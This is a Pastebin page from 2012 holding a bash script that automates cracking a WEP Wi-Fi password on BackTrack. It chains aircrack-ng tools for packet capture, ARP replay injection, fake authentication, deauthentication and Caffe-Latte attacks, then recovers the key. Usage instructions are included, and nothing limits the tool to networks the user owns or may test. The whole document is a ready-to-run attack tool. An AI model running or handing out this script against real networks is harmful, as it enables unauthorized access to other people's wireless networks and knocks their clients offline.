Advertisement
thepirat000

Wi-Fi WEP Crack for BackTrack (bash script)

Aug 25th, 2012
3,015
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.94 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. # WiFi WEP Crack BackTrack bash script
  4. # by The Pirat. thepirat000@hotmail.com
  5. #
  6. # Use this script to easily execute the commands to crack a WEP WiFi password.
  7. # (airodump, aireplay, wpa_supplicant, aircrack, ...)
  8. #
  9. # HOW TO USE:
  10. # Start backtrack GUI and open a console
  11. # Make sure you have "Konsole" installed (apt-get install konsole)
  12. # Copy-paste this script to a new file i.e. WepCrack.sh
  13. # Give execution permission to this file:   chmod +x WepCrack.sh
  14. # Execute the script in this file:          ./WepCrack.sh
  15. #
  16. # Enter the Interface name (default is wlan0)
  17. # Enter the monitor name (default is mon0)
  18. # Wait for the monitor until you see the WiFi you want to crack in the list (is must be WEP)
  19. # Press CTRL+C
  20. #
  21. # Enter the channel where the network is working (or copy-paste it from the list)
  22. # Enter the MAC Address of the AP (or copy-paste the MAC from the list)
  23. # Enter the essid of the AP (the WiFi network name) (or copy-paste the name from the list)
  24. # Enter the name of the generated capture file (or press enter to use the essid as the file name)
  25. #
  26. # Now, the script will open 3 windows to:
  27. # - Capture the network packages (airodump)
  28. # - Fake an authentication (wpa_supplicant)
  29. # - Inject packages
  30. # And also you will see the main window with options to execute more commands.
  31. #
  32. # When you have captured enough packages, select the command 4 (Aircrack) to launch the WiFi password crack process.
  33. #
  34. # NOTES:
  35. # You can abort the process at any moment by pressing CTRL+C and relaunch the script later, without losing the previous captured packages.
  36. # Tested in backtrack versions 4 and 5
  37.  
  38.  
  39. function Airodump {
  40.     #Capture packages
  41.     if [ $1="kill" ]
  42.     then
  43.         killall airodump-ng
  44.     fi
  45.     konsole --noclose -T Airodump -e airodump-ng $INTMON -w $ARCH --bssid $MAC --ivs -c $ch &
  46. }
  47. function StartMonitor {
  48.     airmon-ng stop $INTMON
  49.     airmon-ng start $INT $ch
  50. }
  51. function StopMonitor {
  52.     killall wpa_supplicant
  53.     killall dhclient
  54.     airmon-ng stop $INT
  55.     airmon-ng stop $INTMON
  56. }
  57. function Inject {
  58.     if [ $1="kill" ]
  59.     then
  60.         killall aireplay-ng
  61.     fi
  62.     konsole --noclose -T Inject -e aireplay-ng -3 -b $MAC $INTMON &
  63. }
  64. function Fakeauth {
  65.     #fakeauth with wpa_supplicant, making config file
  66.     if [ $1="kill" ]
  67.     then
  68.         killall wpa_supplicant
  69.     fi
  70.     echo -e "network={\n\tssid=\"$essid\"\n\tkey_mgmt=NONE\n\twep_key0=\"fakeauth\"\n}">$DIR/wpa.conf
  71.     konsole --noclose -T fakeauth -e wpa_supplicant -c$DIR/wpa.conf -Dwext -i$INT &
  72. }
  73. function Deauth {
  74.     konsole --noclose -T Deauth -e aireplay-ng -0 1 -a $MAC $INTMON &
  75. }
  76. function CaffeLatte {
  77.     konsole --noclose -T CaffeLatte -e aireplay-ng -6 $INTMON -e $essid &
  78. }
  79. function Aircrack {
  80.     konsole --noclose -T Aircrack -e aircrack-ng $ARCH*.ivs &
  81. }
  82.  
  83. DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
  84.  
  85. echo -e "Enter WiFi Interface name: (Default: wlan0) "
  86. read INT
  87. if [ ! "$INT" ]
  88. then
  89.        INT="wlan0"
  90. fi
  91. echo -e "Enter Monitor name: (Default: mon0) "
  92. read INTMON
  93. if [ ! "$INTMON" ]; then
  94.        INTMON="mon0"
  95. fi
  96.  
  97. StopMonitor
  98. airmon-ng start $INT
  99. airodump-ng $INTMON
  100.  
  101. echo -e "Enter Channel: "
  102. read ch
  103. echo -e "Enter AP MAC Address: "
  104. read MAC
  105. echo -e "Enter AP essid (network name): "
  106. read essid
  107. echo -e "Enter capture filename: (Default: $essid.ivs) "
  108. read ARCH
  109. if [ ! "$ARCH" ]; then
  110.        ARCH="$essid"
  111. fi
  112. ARCH="$DIR/$ARCH"
  113.  
  114. StartMonitor
  115. Airodump
  116. Inject
  117. sleep 1
  118. Fakeauth "kill"
  119.  
  120. while [ 1=1 ]; do
  121. clear
  122. echo -e "Select an option.                    ./ThePirat-2012\."
  123. echo -e "0) Launch deauth (aireplay-ng -0)"
  124. echo -e "1) Launch Airodump (Packages capture)"
  125. echo -e "2) Launch inyeccion (aireplay-ng -3)"
  126. echo -e "3) Launch Fakeauth (wpa_supplicant)"
  127. echo -e "4) Launch Aircrack"
  128. echo -e "5) Launch Caffe-Latte (aireplay-ng -6)"
  129. echo -e "*) Exit"
  130. read opcion
  131. case $opcion in
  132.    0) Deauth;;
  133.    1) Airodump;;
  134.    2) Inject;;
  135.    3) Fakeauth;;
  136.    4) Aircrack;;
  137.    5) CaffeLatte;;
  138.    *) StopMonitor
  139.       exit;;
  140. esac
  141. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement